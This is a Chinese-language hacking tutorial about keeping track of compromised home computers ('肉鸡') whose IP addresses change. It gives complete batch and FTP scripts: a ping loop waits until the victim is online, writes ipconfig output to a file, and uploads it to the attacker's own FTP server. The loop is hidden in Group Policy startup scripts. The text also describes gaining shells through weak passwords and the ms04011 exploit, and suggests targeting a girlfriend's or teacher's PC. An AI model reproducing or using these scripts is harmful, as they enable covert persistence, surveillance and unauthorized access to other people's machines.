记得N久前的月黑风高的晚上,正是弱口令泛滥成灾的时候,作为菜鸟的我的一大爱好就是拿着x-scan2.3扫描弱口令,因为一些个人上网的用户对安全一点都不重视,默认安装的弱口令到处都是,那时真是爽啊~~怀念ING!
暂且不说经典的弱口令入侵了,那个相信大家都会。当时我难以解决的一个问题就是这些肉鸡只要一重起重新连接的话,ip每次都会变化的,菜鸟的我不会用反向的木马,一见加壳头就大,偏偏杀毒软件超级BT,又不会编程,那感觉简直就像看着上钩的鱼儿游回大海,那个郁闷啊~~~后来终于让我找到一种用脚本牢牢抓住肉鸡ip的方法,注意这些都是正常的脚本,不会被杀毒软件发现的哦,隐蔽而安全,让你十分想要的又是动态ip的肉鸡难逃五指山(譬如你女朋友或者老师的电脑~~)。
废话不多说了,我们就一起来看看如何用脚本栓住肉鸡吧!首先,我们知道因为我们的肉鸡很特殊,不是长时间在线,我们不过是因为一些特别的原因而想要长期控制他,但是因为安全的原因不想用木马。我们的问题是肉鸡上线后如何在想得到他的ip的时候可以快速得到他的ip,(假设你已经开启了肉鸡的telnet或者其他的后门,只要知道ip就可以登陆)。这里,我用的方法是ftp,我也曾经想过用http的方法,但是实现的难度大点就不考虑了。这里,首先看这几个命令:
ipconfig >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time /t >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date /t >C:\WINNT\system32\config\config.txt
相信大家一看就明白,这样就可以把我们想要的信息ip和上线日期写入文件了,你也可以改进下,变的美观并且直接些,譬如echo写上肉鸡的名字,这样就好分辨了,留给有创意的朋友去发挥了!。
这样将信息写如文件后的一个问题是如何将这信息写到某个我们可以读取的地方。曾想过用nc通过http提交,但是由于文件的大小及http协议的原因没有实验,有朋友有兴趣的话可以试试。这里我用的一个是ftp的-s参数:
ftp -n -s:"c:\WINNT\system32\system.ftp"
-s:后是ftp命令的脚本,其中system.ftp的内容如下:
open 127.0.0.1 8888
user jnc
123
prompt
mput c:\WINNT\system\config\config.txt
bye
首先打开一个公网ip的ftp(可以是你的某个肉鸡,甚至是更新的域名。),这里是我自己的ftp,端口为8888,然后输入用户名密码,各做一行,接着是上传我们写好的配置文件到一个目录下,如果是你的网页目录的话,当我们的配置文件上传后就可以通过http://jnc.xxx.com/ipconfig.txt直接读取了。
哈哈,文件上传的问题解决了,在肉鸡方面什么时候执行这样的写文件并且执行上传文件的操作呢?要知道个人用户这类肉鸡不是像服务器样时刻都在线的,他们在线的时间不一定,我们如何才可以在他们上线了的时候才执行上面的操作呢?这里我用的是批处理的循环操作,命令如下:
ping www.163.com|find "Reply from"
if %ERRORLEVEL%==0 goto ok
if %ERRORLEVEL%==1 goto end
:ok
ipconfig >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time /t >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date /t >C:\WINNT\system32\config\config.txt
ftp -n -s:"c:\WINNT\system32\system.ftp"
exit
:end
ping www.163.com|find "Reply from"
if %ERRORLEVEL%==0 goto ok
if %ERRORLEVEL%==1 goto end
或者
ping www.163.com|find "Reply from"&&goto ok
goto end
:ok
ipconfig >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
time /t >>C:\WINNT\system32\config\config.txt
echo.>>C:\WINNT\system32\config\config.txt
date /t >C:\WINNT\system32\config\config.txt
ftp -n -s:"c:\WINNT\system32\system.ftp"
exit
:end
ping www.163.com|find "Reply from"&&goto ok
goto end
嘿嘿,首先ping网易的域名在结果中如果得到有数据包返回的信息即返回 %ERRORLEVEL%==0 说明用户上线,够毒吧!这时马上将肉鸡信息写入文件并且上传,如果ping不通就执行循环直到网络接通。
这样的话,所要执行的文件就写出来了,现在的问题是如何将执行文件的整个过程变的隐蔽,开始我想的是将这个批处理文件写到启动栏里,但是启动的时候黑黑的界面太危险,而且有循环的,人家不怀疑才怪呢!更糟的是不小心还会遗失自己的ftp密码。经过一段时间的搜索发现将脚本写入到组策略的启动脚本里就没有任何提示了!而且启动脚本比较隐蔽,一般个人用户都不会注意到这个地方,并且也很容易实现。我们分析启动脚本的配置文件C:\WINNT\system32\GroupPolicy\Machine\Scripts\scripts.ini,注意这个文件当配置启动脚本时才会出现,并且有系统隐藏属性。文件如下:
[Startup]
0CmdLine=E:\test\run.vbe
0Parameters=
首先空一行,然后是脚本的类型,这里是启动脚本[Startup],(当然不要关机脚本了,汗!)下面是配置脚本了,数字0代表第一个脚本,CmdLine后面是脚本的位置,Parameters是参数,这里就不需要了。
好,配置好的scripts.ini如下
[Startup]
0CmdLine=c:\winnt\system32\system.bat
0Parameters=
上述文件写入system32文件夹的原因是为了隐蔽,到这里,我们需要解决的问题都一一解决,为了方便,将一切都交给批处理吧,这样在shell里就会很好的实现了。
让我们来实验下吧!先得到一个肉鸡的shell吧!(扫描个人上网用户的ip段好象满地都是这东西~),空口令没有了,我们就来ms04011吧!嘿嘿~得到shell如图1!
想要留住的话就用这个脚本试试,首先写system.ftp文件,最后用echo写system.bat文件,写启动脚本如图二。嘿嘿,小样,你还跑得了?等他重起后访问我网站的config.txt得到他的ip,哈哈,就不抓图了。
评论